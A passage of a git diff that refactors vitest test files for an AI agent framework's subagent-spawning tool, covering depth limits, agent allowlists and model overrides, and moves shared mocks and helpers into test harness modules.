updatedAt: Date.now(),
|
||||
spawnedBy: depth1,
|
||||
},
|
||||
});
|
||||
return { depth1, callerKey };
|
||||
}
|
||||
|
||||
describe("sessions_spawn depth + child limits", () => {
|
||||
beforeEach(() => {
|
||||
resetSubagentRegistryForTests();
|
||||
@@ -72,20 +105,7 @@ describe("sessions_spawn depth + child limits", () => {
|
||||
});
|
||||
|
||||
it("allows depth-1 callers when maxSpawnDepth is 2", async () => {
|
||||
configOverride = {
|
||||
session: {
|
||||
mainKey: "main",
|
||||
scope: "per-sender",
|
||||
store: storeTemplatePath,
|
||||
},
|
||||
agents: {
|
||||
defaults: {
|
||||
subagents: {
|
||||
maxSpawnDepth: 2,
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
setSubagentLimits({ maxSpawnDepth: 2 });
|
||||
|
||||
const tool = createSessionsSpawnTool({ agentSessionKey: "agent:main:subagent:parent" });
|
||||
const result = await tool.execute("call-depth-allow", { task: "hello" });
|
||||
@@ -109,20 +129,7 @@ describe("sessions_spawn depth + child limits", () => {
|
||||
});
|
||||
|
||||
it("rejects depth-2 callers when maxSpawnDepth is 2 (using stored spawnDepth on flat keys)", async () => {
|
||||
configOverride = {
|
||||
session: {
|
||||
mainKey: "main",
|
||||
scope: "per-sender",
|
||||
store: storeTemplatePath,
|
||||
},
|
||||
agents: {
|
||||
defaults: {
|
||||
subagents: {
|
||||
maxSpawnDepth: 2,
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
setSubagentLimits({ maxSpawnDepth: 2 });
|
||||
|
||||
const callerKey = "agent:main:subagent:flat-depth-2";
|
||||
writeStore("main", {
|
||||
@@ -143,35 +150,8 @@ describe("sessions_spawn depth + child limits", () => {
|
||||
});
|
||||
|
||||
it("rejects depth-2 callers when spawnDepth is missing but spawnedBy ancestry implies depth 2", async () => {
|
||||
configOverride = {
|
||||
session: {
|
||||
mainKey: "main",
|
||||
scope: "per-sender",
|
||||
store: storeTemplatePath,
|
||||
},
|
||||
agents: {
|
||||
defaults: {
|
||||
subagents: {
|
||||
maxSpawnDepth: 2,
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const depth1 = "agent:main:subagent:depth-1";
|
||||
const callerKey = "agent:main:subagent:depth-2";
|
||||
writeStore("main", {
|
||||
[depth1]: {
|
||||
sessionId: "depth-1",
|
||||
updatedAt: Date.now(),
|
||||
spawnedBy: "agent:main:main",
|
||||
},
|
||||
[callerKey]: {
|
||||
sessionId: "depth-2",
|
||||
updatedAt: Date.now(),
|
||||
spawnedBy: depth1,
|
||||
},
|
||||
});
|
||||
setSubagentLimits({ maxSpawnDepth: 2 });
|
||||
const { callerKey } = seedDepthTwoAncestryStore();
|
||||
|
||||
const tool = createSessionsSpawnTool({ agentSessionKey: callerKey });
|
||||
const result = await tool.execute("call-depth-ancestry-reject", { task: "hello" });
|
||||
@@ -183,35 +163,8 @@ describe("sessions_spawn depth + child limits", () => {
|
||||
});
|
||||
|
||||
it("rejects depth-2 callers when the requester key is a sessionId", async () => {
|
||||
configOverride = {
|
||||
session: {
|
||||
mainKey: "main",
|
||||
scope: "per-sender",
|
||||
store: storeTemplatePath,
|
||||
},
|
||||
agents: {
|
||||
defaults: {
|
||||
subagents: {
|
||||
maxSpawnDepth: 2,
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const depth1 = "agent:main:subagent:depth-1";
|
||||
const callerKey = "agent:main:subagent:depth-2";
|
||||
writeStore("main", {
|
||||
[depth1]: {
|
||||
sessionId: "depth-1-session",
|
||||
updatedAt: Date.now(),
|
||||
spawnedBy: "agent:main:main",
|
||||
},
|
||||
[callerKey]: {
|
||||
sessionId: "depth-2-session",
|
||||
updatedAt: Date.now(),
|
||||
spawnedBy: depth1,
|
||||
},
|
||||
});
|
||||
setSubagentLimits({ maxSpawnDepth: 2 });
|
||||
seedDepthTwoAncestryStore({ sessionIds: true });
|
||||
|
||||
const tool = createSessionsSpawnTool({ agentSessionKey: "depth-2-session" });
|
||||
const result = await tool.execute("call-depth-sessionid-reject", { task: "hello" });
|
||||
|
||||
@@ -2,6 +2,7 @@ import { beforeEach, describe, expect, it } from "vitest";
|
||||
import "./test-helpers/fast-core-tools.js";
|
||||
import {
|
||||
getCallGatewayMock,
|
||||
getSessionsSpawnTool,
|
||||
resetSessionsSpawnConfigOverride,
|
||||
setSessionsSpawnConfigOverride,
|
||||
} from "./openclaw-tools.subagents.sessions-spawn.test-harness.js";
|
||||
@@ -9,20 +10,71 @@ import { resetSubagentRegistryForTests } from "./subagent-registry.js";
|
||||
|
||||
const callGatewayMock = getCallGatewayMock();
|
||||
|
||||
type CreateOpenClawTools = (typeof import("./openclaw-tools.js"))["createOpenClawTools"];
|
||||
type CreateOpenClawToolsOpts = Parameters<CreateOpenClawTools>[0];
|
||||
|
||||
async function getSessionsSpawnTool(opts: CreateOpenClawToolsOpts) {
|
||||
// Dynamic import: ensure harness mocks are installed before tool modules load.
|
||||
const { createOpenClawTools } = await import("./openclaw-tools.js");
|
||||
const tool = createOpenClawTools(opts).find((candidate) => candidate.name === "sessions_spawn");
|
||||
if (!tool) {
|
||||
throw new Error("missing sessions_spawn tool");
|
||||
}
|
||||
return tool;
|
||||
}
|
||||
|
||||
describe("openclaw-tools: subagents (sessions_spawn allowlist)", () => {
|
||||
function setAllowAgents(allowAgents: string[]) {
|
||||
setSessionsSpawnConfigOverride({
|
||||
session: {
|
||||
mainKey: "main",
|
||||
scope: "per-sender",
|
||||
},
|
||||
agents: {
|
||||
list: [
|
||||
{
|
||||
id: "main",
|
||||
subagents: {
|
||||
allowAgents,
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
function mockAcceptedSpawn(acceptedAt: number) {
|
||||
let childSessionKey: string | undefined;
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const request = opts as { method?: string; params?: unknown };
|
||||
if (request.method === "agent") {
|
||||
const params = request.params as { sessionKey?: string } | undefined;
|
||||
childSessionKey = params?.sessionKey;
|
||||
return { runId: "run-1", status: "accepted", acceptedAt };
|
||||
}
|
||||
if (request.method === "agent.wait") {
|
||||
return { status: "timeout" };
|
||||
}
|
||||
return {};
|
||||
});
|
||||
return () => childSessionKey;
|
||||
}
|
||||
|
||||
async function executeSpawn(callId: string, agentId: string) {
|
||||
const tool = await getSessionsSpawnTool({
|
||||
agentSessionKey: "main",
|
||||
agentChannel: "whatsapp",
|
||||
});
|
||||
return tool.execute(callId, { task: "do thing", agentId });
|
||||
}
|
||||
|
||||
async function expectAllowedSpawn(params: {
|
||||
allowAgents: string[];
|
||||
agentId: string;
|
||||
callId: string;
|
||||
acceptedAt: number;
|
||||
}) {
|
||||
resetSubagentRegistryForTests();
|
||||
callGatewayMock.mockReset();
|
||||
setAllowAgents(params.allowAgents);
|
||||
const getChildSessionKey = mockAcceptedSpawn(params.acceptedAt);
|
||||
|
||||
const result = await executeSpawn(params.callId, params.agentId);
|
||||
|
||||
expect(result.details).toMatchObject({
|
||||
status: "accepted",
|
||||
runId: "run-1",
|
||||
});
|
||||
expect(getChildSessionKey()?.startsWith(`agent:${params.agentId}:subagent:`)).toBe(true);
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
resetSessionsSpawnConfigOverride();
|
||||
});
|
||||
@@ -82,155 +134,29 @@ describe("openclaw-tools: subagents (sessions_spawn allowlist)", () => {
|
||||
});
|
||||
|
||||
it("sessions_spawn allows cross-agent spawning when configured", async () => {
|
||||
resetSubagentRegistryForTests();
|
||||
callGatewayMock.mockReset();
|
||||
setSessionsSpawnConfigOverride({
|
||||
session: {
|
||||
mainKey: "main",
|
||||
scope: "per-sender",
|
||||
},
|
||||
agents: {
|
||||
list: [
|
||||
{
|
||||
id: "main",
|
||||
subagents: {
|
||||
allowAgents: ["beta"],
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
|
||||
let childSessionKey: string | undefined;
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const request = opts as { method?: string; params?: unknown };
|
||||
if (request.method === "agent") {
|
||||
const params = request.params as { sessionKey?: string } | undefined;
|
||||
childSessionKey = params?.sessionKey;
|
||||
return { runId: "run-1", status: "accepted", acceptedAt: 5000 };
|
||||
}
|
||||
if (request.method === "agent.wait") {
|
||||
return { status: "timeout" };
|
||||
}
|
||||
return {};
|
||||
});
|
||||
|
||||
const tool = await getSessionsSpawnTool({
|
||||
agentSessionKey: "main",
|
||||
agentChannel: "whatsapp",
|
||||
});
|
||||
|
||||
const result = await tool.execute("call7", {
|
||||
task: "do thing",
|
||||
await expectAllowedSpawn({
|
||||
allowAgents: ["beta"],
|
||||
agentId: "beta",
|
||||
callId: "call7",
|
||||
acceptedAt: 5000,
|
||||
});
|
||||
|
||||
expect(result.details).toMatchObject({
|
||||
status: "accepted",
|
||||
runId: "run-1",
|
||||
});
|
||||
expect(childSessionKey?.startsWith("agent:beta:subagent:")).toBe(true);
|
||||
});
|
||||
|
||||
it("sessions_spawn allows any agent when allowlist is *", async () => {
|
||||
resetSubagentRegistryForTests();
|
||||
callGatewayMock.mockReset();
|
||||
setSessionsSpawnConfigOverride({
|
||||
session: {
|
||||
mainKey: "main",
|
||||
scope: "per-sender",
|
||||
},
|
||||
agents: {
|
||||
list: [
|
||||
{
|
||||
id: "main",
|
||||
subagents: {
|
||||
allowAgents: ["*"],
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
|
||||
let childSessionKey: string | undefined;
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const request = opts as { method?: string; params?: unknown };
|
||||
if (request.method === "agent") {
|
||||
const params = request.params as { sessionKey?: string } | undefined;
|
||||
childSessionKey = params?.sessionKey;
|
||||
return { runId: "run-1", status: "accepted", acceptedAt: 5100 };
|
||||
}
|
||||
if (request.method === "agent.wait") {
|
||||
return { status: "timeout" };
|
||||
}
|
||||
return {};
|
||||
});
|
||||
|
||||
const tool = await getSessionsSpawnTool({
|
||||
agentSessionKey: "main",
|
||||
agentChannel: "whatsapp",
|
||||
});
|
||||
|
||||
const result = await tool.execute("call8", {
|
||||
task: "do thing",
|
||||
await expectAllowedSpawn({
|
||||
allowAgents: ["*"],
|
||||
agentId: "beta",
|
||||
callId: "call8",
|
||||
acceptedAt: 5100,
|
||||
});
|
||||
|
||||
expect(result.details).toMatchObject({
|
||||
status: "accepted",
|
||||
runId: "run-1",
|
||||
});
|
||||
expect(childSessionKey?.startsWith("agent:beta:subagent:")).toBe(true);
|
||||
});
|
||||
|
||||
it("sessions_spawn normalizes allowlisted agent ids", async () => {
|
||||
resetSubagentRegistryForTests();
|
||||
callGatewayMock.mockReset();
|
||||
setSessionsSpawnConfigOverride({
|
||||
session: {
|
||||
mainKey: "main",
|
||||
scope: "per-sender",
|
||||
},
|
||||
agents: {
|
||||
list: [
|
||||
{
|
||||
id: "main",
|
||||
subagents: {
|
||||
allowAgents: ["Research"],
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
|
||||
let childSessionKey: string | undefined;
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const request = opts as { method?: string; params?: unknown };
|
||||
if (request.method === "agent") {
|
||||
const params = request.params as { sessionKey?: string } | undefined;
|
||||
childSessionKey = params?.sessionKey;
|
||||
return { runId: "run-1", status: "accepted", acceptedAt: 5200 };
|
||||
}
|
||||
if (request.method === "agent.wait") {
|
||||
return { status: "timeout" };
|
||||
}
|
||||
return {};
|
||||
});
|
||||
|
||||
const tool = await getSessionsSpawnTool({
|
||||
agentSessionKey: "main",
|
||||
agentChannel: "whatsapp",
|
||||
});
|
||||
|
||||
const result = await tool.execute("call10", {
|
||||
task: "do thing",
|
||||
await expectAllowedSpawn({
|
||||
allowAgents: ["Research"],
|
||||
agentId: "research",
|
||||
callId: "call10",
|
||||
acceptedAt: 5200,
|
||||
});
|
||||
|
||||
expect(result.details).toMatchObject({
|
||||
status: "accepted",
|
||||
runId: "run-1",
|
||||
});
|
||||
expect(childSessionKey?.startsWith("agent:research:subagent:")).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -3,24 +3,60 @@ import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "./defaults.js";
|
||||
import "./test-helpers/fast-core-tools.js";
|
||||
import {
|
||||
getCallGatewayMock,
|
||||
getSessionsSpawnTool,
|
||||
resetSessionsSpawnConfigOverride,
|
||||
setSessionsSpawnConfigOverride,
|
||||
} from "./openclaw-tools.subagents.sessions-spawn.test-harness.js";
|
||||
import { resetSubagentRegistryForTests } from "./subagent-registry.js";
|
||||
|
||||
const callGatewayMock = getCallGatewayMock();
|
||||
type GatewayCall = { method?: string; params?: unknown };
|
||||
|
||||
type CreateOpenClawTools = (typeof import("./openclaw-tools.js"))["createOpenClawTools"];
|
||||
type CreateOpenClawToolsOpts = Parameters<CreateOpenClawTools>[0];
|
||||
function mockLongRunningSpawnFlow(params: {
|
||||
calls: GatewayCall[];
|
||||
acceptedAtBase: number;
|
||||
patch?: (request: GatewayCall) => Promise<unknown>;
|
||||
}) {
|
||||
let agentCallCount = 0;
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const request = opts as GatewayCall;
|
||||
params.calls.push(request);
|
||||
if (request.method === "sessions.patch") {
|
||||
if (params.patch) {
|
||||
return await params.patch(request);
|
||||
}
|
||||
return { ok: true };
|
||||
}
|
||||
if (request.method === "agent") {
|
||||
agentCallCount += 1;
|
||||
return {
|
||||
runId: `run-${agentCallCount}`,
|
||||
status: "accepted",
|
||||
acceptedAt: params.acceptedAtBase + agentCallCount,
|
||||
};
|
||||
}
|
||||
if (request.method === "agent.wait") {
|
||||
return { status: "timeout" };
|
||||
}
|
||||
if (request.method === "sessions.delete") {
|
||||
return { ok: true };
|
||||
}
|
||||
return {};
|
||||
});
|
||||
}
|
||||
|
||||
async function getSessionsSpawnTool(opts: CreateOpenClawToolsOpts) {
|
||||
// Dynamic import: ensure harness mocks are installed before tool modules load.
|
||||
const { createOpenClawTools } = await import("./openclaw-tools.js");
|
||||
const tool = createOpenClawTools(opts).find((candidate) => candidate.name === "sessions_spawn");
|
||||
if (!tool) {
|
||||
throw new Error("missing sessions_spawn tool");
|
||||
}
|
||||
return tool;
|
||||
function mockPatchAndSingleAgentRun(params: { calls: GatewayCall[]; runId: string }) {
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const request = opts as GatewayCall;
|
||||
params.calls.push(request);
|
||||
if (request.method === "sessions.patch") {
|
||||
return { ok: true };
|
||||
}
|
||||
if (request.method === "agent") {
|
||||
return { runId: params.runId, status: "accepted" };
|
||||
}
|
||||
return {};
|
||||
});
|
||||
}
|
||||
|
||||
describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => {
|
||||
@@ -31,32 +67,8 @@ describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => {
|
||||
it("sessions_spawn applies a model to the child session", async () => {
|
||||
resetSubagentRegistryForTests();
|
||||
callGatewayMock.mockReset();
|
||||
const calls: Array<{ method?: string; params?: unknown }> = [];
|
||||
let agentCallCount = 0;
|
||||
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const request = opts as { method?: string; params?: unknown };
|
||||
calls.push(request);
|
||||
if (request.method === "sessions.patch") {
|
||||
return { ok: true };
|
||||
}
|
||||
if (request.method === "agent") {
|
||||
agentCallCount += 1;
|
||||
const runId = `run-${agentCallCount}`;
|
||||
return {
|
||||
runId,
|
||||
status: "accepted",
|
||||
acceptedAt: 3000 + agentCallCount,
|
||||
};
|
||||
}
|
||||
if (request.method === "agent.wait") {
|
||||
return { status: "timeout" };
|
||||
}
|
||||
if (request.method === "sessions.delete") {
|
||||
return { ok: true };
|
||||
}
|
||||
return {};
|
||||
});
|
||||
const calls: GatewayCall[] = [];
|
||||
mockLongRunningSpawnFlow({ calls, acceptedAtBase: 3000 });
|
||||
|
||||
const tool = await getSessionsSpawnTool({
|
||||
agentSessionKey: "discord:group:req",
|
||||
@@ -155,19 +167,8 @@ describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => {
|
||||
session: { mainKey: "main", scope: "per-sender" },
|
||||
agents: { defaults: { subagents: { model: "minimax/MiniMax-M2.1" } } },
|
||||
});
|
||||
const calls: Array<{ method?: string; params?: unknown }> = [];
|
||||
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const request = opts as { method?: string; params?: unknown };
|
||||
calls.push(request);
|
||||
if (request.method === "sessions.patch") {
|
||||
return { ok: true };
|
||||
}
|
||||
if (request.method === "agent") {
|
||||
return { runId: "run-default-model", status: "accepted" };
|
||||
}
|
||||
return {};
|
||||
});
|
||||
const calls: GatewayCall[] = [];
|
||||
mockPatchAndSingleAgentRun({ calls, runId: "run-default-model" });
|
||||
|
||||
const tool = await getSessionsSpawnTool({
|
||||
agentSessionKey: "agent:main:main",
|
||||
@@ -193,19 +194,8 @@ describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => {
|
||||
it("sessions_spawn falls back to runtime default model when no model config is set", async () => {
|
||||
resetSubagentRegistryForTests();
|
||||
callGatewayMock.mockReset();
|
||||
const calls: Array<{ method?: string; params?: unknown }> = [];
|
||||
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const request = opts as { method?: string; params?: unknown };
|
||||
calls.push(request);
|
||||
if (request.method === "sessions.patch") {
|
||||
return { ok: true };
|
||||
}
|
||||
if (request.method === "agent") {
|
||||
return { runId: "run-runtime-default-model", status: "accepted" };
|
||||
}
|
||||
return {};
|
||||
});
|
||||
const calls: GatewayCall[] = [];
|
||||
mockPatchAndSingleAgentRun({ calls, runId: "run-runtime-default-model" });
|
||||
|
||||
const tool = await getSessionsSpawnTool({
|
||||
agentSessionKey: "agent:main:main",
|
||||
@@ -238,19 +228,8 @@ describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => {
|
||||
list: [{ id: "research", subagents: { model: "opencode/claude" } }],
|
||||
},
|
||||
});
|
||||
const calls: Array<{ method?: string; params?: unknown }> = [];
|
||||
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const request = opts as { method?: string; params?: unknown };
|
||||
calls.push(request);
|
||||
if (request.method === "sessions.patch") {
|
||||
return { ok: true };
|
||||
}
|
||||
if (request.method === "agent") {
|
||||
return { runId: "run-agent-model", status: "accepted" };
|
||||
}
|
||||
return {};
|
||||
});
|
||||
const calls: GatewayCall[] = [];
|
||||
mockPatchAndSingleAgentRun({ calls, runId: "run-agent-model" });
|
||||
|
||||
const tool = await getSessionsSpawnTool({
|
||||
agentSessionKey: "agent:research:main",
|
||||
@@ -276,35 +255,17 @@ describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => {
|
||||
it("sessions_spawn skips invalid model overrides and continues", async () => {
|
||||
resetSubagentRegistryForTests();
|
||||
callGatewayMock.mockReset();
|
||||
const calls: Array<{ method?: string; params?: unknown }> = [];
|
||||
let agentCallCount = 0;
|
||||
|
||||
callGatewayMock.mockImplementation(async (opts: unknown) => {
|
||||
const request = opts as { method?: string; params?: unknown };
|
||||
calls.push(request);
|
||||
if (request.method === "sessions.patch") {
|
||||
const calls: GatewayCall[] = [];
|
||||
mockLongRunningSpawnFlow({
|
||||
calls,
|
||||
acceptedAtBase: 4000,
|
||||
patch: async (request) => {
|
||||
const model = (request.params as { model?: unknown } | undefined)?.model;
|
||||
if (model === "bad-model") {
|
||||
throw new Error("invalid model: bad-model");
|
||||
}
|
||||
return { ok: true };
|
||||
}
|
||||
if (request.method === "agent") {
|
||||
agentCallCount += 1;
|
||||
const runId = `run-${agentCallCount}`;
|
||||
return {
|
||||
runId,
|
||||
status: "accepted",
|
||||
acceptedAt: 4000 + agentCallCount,
|
||||
};
|
||||
}
|
||||
if (request.method === "agent.wait") {
|
||||
return { status: "timeout" };
|
||||
}
|
||||
if (request.method === "sessions.delete") {
|
||||
return { ok: true };
|
||||
}
|
||||
return {};
|
||||
},
|
||||
});
|
||||
|
||||
const tool = await getSessionsSpawnTool({
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
import { vi } from "vitest";
|
||||
|
||||
type SessionsSpawnTestConfig = ReturnType<(typeof import("../config/config.js"))["loadConfig"]>;
|
||||
type CreateOpenClawTools = (typeof import("./openclaw-tools.js"))["createOpenClawTools"];
|
||||
export type CreateOpenClawToolsOpts = Parameters<CreateOpenClawTools>[0];
|
||||
|
||||
// Avoid exporting vitest mock types (TS2742 under pnpm + d.ts emit).
|
||||
// oxlint-disable-next-line typescript/no-explicit-any
|
||||
@@ -30,6 +32,16 @@ export function setSessionsSpawnConfigOverride(next: SessionsSpawnTestConfig): v
|
||||
hoisted.state.configOverride = next;
|
||||
}
|
||||
|
||||
export async function getSessionsSpawnTool(opts: CreateOpenClawToolsOpts) {
|
||||
// Dynamic import: ensure harness mocks are installed before tool modules load.
|
||||
const { createOpenClawTools } = await import("./openclaw-tools.js");
|
||||
const tool = createOpenClawTools(opts).find((candidate) => candidate.name === "sessions_spawn");
|
||||
if (!tool) {
|
||||
throw new Error("missing sessions_spawn tool");
|
||||
}
|
||||
return tool;
|
||||
}
|
||||
|
||||
vi.mock("../gateway/call.js", () => ({
|
||||
callGateway: (opts: unknown) => hoisted.callGatewayMock(opts),
|
||||
}));
|
||||
|
||||
@@ -2,51 +2,36 @@ import fs from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const callGatewayMock = vi.fn();
|
||||
|
||||
vi.mock("../gateway/call.js", () => ({
|
||||
callGateway: (opts: unknown) => callGatewayMock(opts),
|
||||
}));
|
||||
|
||||
let configOverride: ReturnType<(typeof import("../config/config.js"))["loadConfig"]> = {
|
||||
session: {
|
||||
mainKey: "main",
|
||||
scope: "per-sender",
|
||||
},
|
||||
};
|
||||
|
||||
vi.mock("../config/config.js", async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import("../config/config.js")>();
|
||||
return {
|
||||
...actual,
|
||||
loadConfig: () => configOverride,
|
||||
};
|
||||
});
|
||||
|
||||
import "./test-helpers/fast-core-tools.js";
|
||||
import { createOpenClawTools } from "./openclaw-tools.js";
|
||||
import {
|
||||
addSubagentRunForTests,
|
||||
listSubagentRunsForRequester,
|
||||
resetSubagentRegistryForTests,
|
||||
} from "./subagent-registry.js";
|
||||
callGatewayMock,
|
||||
setSubagentsConfigOverride,
|
||||
} from "./openclaw-tools.subagents.test-harness.js";
|
||||
import "./test-helpers/fast-core-tools.js";
|
||||
|
||||
let createOpenClawTools: (typeof import("./openclaw-tools.js"))["createOpenClawTools"];
|
||||
let addSubagentRunForTests: (typeof import("./subagent-registry.js"))["addSubagentRunForTests"];
|
||||
let listSubagentRunsForRequester: (typeof import("./subagent-registry.js"))["listSubagentRunsForRequester"];
|
||||
let resetSubagentRegistryForTests: (typeof import("./subagent-registry.js"))["resetSubagentRegistryForTests"];
|
||||
|
||||
describe("openclaw-tools: subagents steer failure", () => {
|
||||
beforeEach(() => {
|
||||
beforeEach(async () => {
|
||||
vi.resetModules();
|
||||
({ createOpenClawTools } = await import("./openclaw-tools.js"));
|
||||
({ addSubagentRunForTests, listSubagentRunsForRequester, resetSubagentRegistryForTests } =
|
||||
await import("./subagent-registry.js"));
|
||||
resetSubagentRegistryForTests();
|
||||
callGatewayMock.mockReset();
|
||||
const storePath = path.join(
|
||||
os.tmpdir(),
|
||||
`openclaw-subagents-steer-${Date.now()}-${Math.random().toString(16).slice(2)}.json`,
|
||||
);
|
||||
configOverride = {
|
||||
setSubagentsConfigOverride({
|
||||
session: {
|
||||
mainKey: "main",
|
||||
scope: "per-sender",
|
||||
store: storePath,
|
||||
},
|
||||
};
|
||||
});
|
||||
fs.writeFileSync(storePath, "{}", "utf-8");
|
||||
});
|
||||
|
||||
|
||||
35
src/agents/openclaw-tools.subagents.test-harness.ts
Normal file
35
src/agents/openclaw-tools.subagents.test-harness.ts
Normal file
@@ -0,0 +1,35 @@
|
||||
import { vi } from "vitest";
|
||||
|
||||
export type LoadedConfig = ReturnType<(typeof import("../config/config.js"))["loadConfig"]>;
|
||||
|
||||
export const callGatewayMock = vi.fn();
|
||||
|
||||
const defaultConfig: LoadedConfig = {
|
||||
session: {
|
||||
mainKey: "main",
|
||||
scope: "per-sender",
|
||||
},
|
||||
};
|
||||
|
||||
let configOverride: LoadedConfig = defaultConfig;
|
||||
|
||||
export function setSubagentsConfigOverride(next: LoadedConfig) {
|
||||
configOverride = next;
|
||||
}
|
||||
|
||||
export function resetSubagentsConfigOverride() {
|
||||
configOverride = defaultConfig;
|
||||
}
|
||||
|
||||
vi.mock("../gateway/call.js", () => ({
|
||||
callGateway: (opts: unknown) => callGatewayMock(opts),
|
||||
}));
|
||||
|
||||
vi.mock("../config/config.js", async (importOriginal) => {
|
||||
const actual = await importOriginal<typeof import("../config/config.js")>();
|
||||
return {
|
||||
...actual,
|
||||
loadConfig: () => configOverride,
|
||||
resolveGatewayPort: () => 18789,
|
||||
};
|
||||
});
|
||||
@@ -5,89 +5,76 @@ import {
|
||||
sanitizeSessionMessagesImages,
|
||||
} from "./pi-embedded-helpers.js";
|
||||
|
||||
function makeToolCallResultPairInput(): AgentMessage[] {
|
||||
return [
|
||||
{
|
||||
role: "assistant",
|
||||
content: [
|
||||
{
|
||||
type: "toolCall",
|
||||
id: "call_123|fc_456",
|
||||
name: "read",
|
||||
arguments: { path: "package.json" },
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
role: "toolResult",
|
||||
toolCallId: "call_123|fc_456",
|
||||
toolName: "read",
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
isError: false,
|
||||
},
|
||||
] as AgentMessage[];
|
||||
}
|
||||
|
||||
function expectToolCallAndResultIds(out: AgentMessage[], expectedId: string) {
|
||||
const assistant = out[0] as unknown as { role?: string; content?: unknown };
|
||||
expect(assistant.role).toBe("assistant");
|
||||
expect(Array.isArray(assistant.content)).toBe(true);
|
||||
const toolCall = (assistant.content as Array<{ type?: string; id?: string }>).find(
|
||||
(block) => block.type === "toolCall",
|
||||
);
|
||||
expect(toolCall?.id).toBe(expectedId);
|
||||
|
||||
const toolResult = out[1] as unknown as {
|
||||
role?: string;
|
||||
toolCallId?: string;
|
||||
};
|
||||
expect(toolResult.role).toBe("toolResult");
|
||||
expect(toolResult.toolCallId).toBe(expectedId);
|
||||
}
|
||||
|
||||
function expectSingleAssistantContentEntry(
|
||||
out: AgentMessage[],
|
||||
expectEntry: (entry: { type?: string; text?: string }) => void,
|
||||
) {
|
||||
expect(out).toHaveLength(1);
|
||||
const content = (out[0] as { content?: unknown }).content;
|
||||
expect(Array.isArray(content)).toBe(true);
|
||||
expect(content).toHaveLength(1);
|
||||
expectEntry((content as Array<{ type?: string; text?: string }>)[0] ?? {});
|
||||
}
|
||||
|
||||
describe("sanitizeSessionMessagesImages", () => {
|
||||
it("keeps tool call + tool result IDs unchanged by default", async () => {
|
||||
const input = [
|
||||
{
|
||||
role: "assistant",
|
||||
content: [
|
||||
{
|
||||
type: "toolCall",
|
||||
id: "call_123|fc_456",
|
||||
name: "read",
|
||||
arguments: { path: "package.json" },
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
role: "toolResult",
|
||||
toolCallId: "call_123|fc_456",
|
||||
toolName: "read",
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
isError: false,
|
||||
},
|
||||
] satisfies AgentMessage[];
|
||||
const input = makeToolCallResultPairInput();
|
||||
|
||||
const out = await sanitizeSessionMessagesImages(input, "test");
|
||||
|
||||
const assistant = out[0] as unknown as { role?: string; content?: unknown };
|
||||
expect(assistant.role).toBe("assistant");
|
||||
expect(Array.isArray(assistant.content)).toBe(true);
|
||||
const toolCall = (assistant.content as Array<{ type?: string; id?: string }>).find(
|
||||
(b) => b.type === "toolCall",
|
||||
);
|
||||
expect(toolCall?.id).toBe("call_123|fc_456");
|
||||
|
||||
const toolResult = out[1] as unknown as {
|
||||
role?: string;
|
||||
toolCallId?: string;
|
||||
};
|
||||
expect(toolResult.role).toBe("toolResult");
|
||||
expect(toolResult.toolCallId).toBe("call_123|fc_456");
|
||||
expectToolCallAndResultIds(out, "call_123|fc_456");
|
||||
});
|
||||
|
||||
it("sanitizes tool call + tool result IDs in strict mode (alphanumeric only)", async () => {
|
||||
const input = [
|
||||
{
|
||||
role: "assistant",
|
||||
content: [
|
||||
{
|
||||
type: "toolCall",
|
||||
id: "call_123|fc_456",
|
||||
name: "read",
|
||||
arguments: { path: "package.json" },
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
role: "toolResult",
|
||||
toolCallId: "call_123|fc_456",
|
||||
toolName: "read",
|
||||
content: [{ type: "text", text: "ok" }],
|
||||
isError: false,
|
||||
},
|
||||
] satisfies AgentMessage[];
|
||||
const input = makeToolCallResultPairInput();
|
||||
|
||||
const out = await sanitizeSessionMessagesImages(input, "test", {
|
||||
sanitizeToolCallIds: true,
|
||||
toolCallIdMode: "strict",
|
||||
});
|
||||
|
||||
const assistant = out[0] as unknown as { role?: string; content?: unknown };
|
||||
expect(assistant.role).toBe("assistant");
|
||||
expect(Array.isArray(assistant.content)).toBe(true);
|
||||
const toolCall = (assistant.content as Array<{ type?: string; id?: string }>).find(
|
||||
(b) => b.type === "toolCall",
|
||||
);
|
||||
// Strict mode strips all non-alphanumeric characters
|
||||
expect(toolCall?.id).toBe("call123fc456");
|
||||
|
||||
const toolResult = out[1] as unknown as {
|
||||
role?: string;
|
||||
toolCallId?: string;
|
||||
};
|
||||
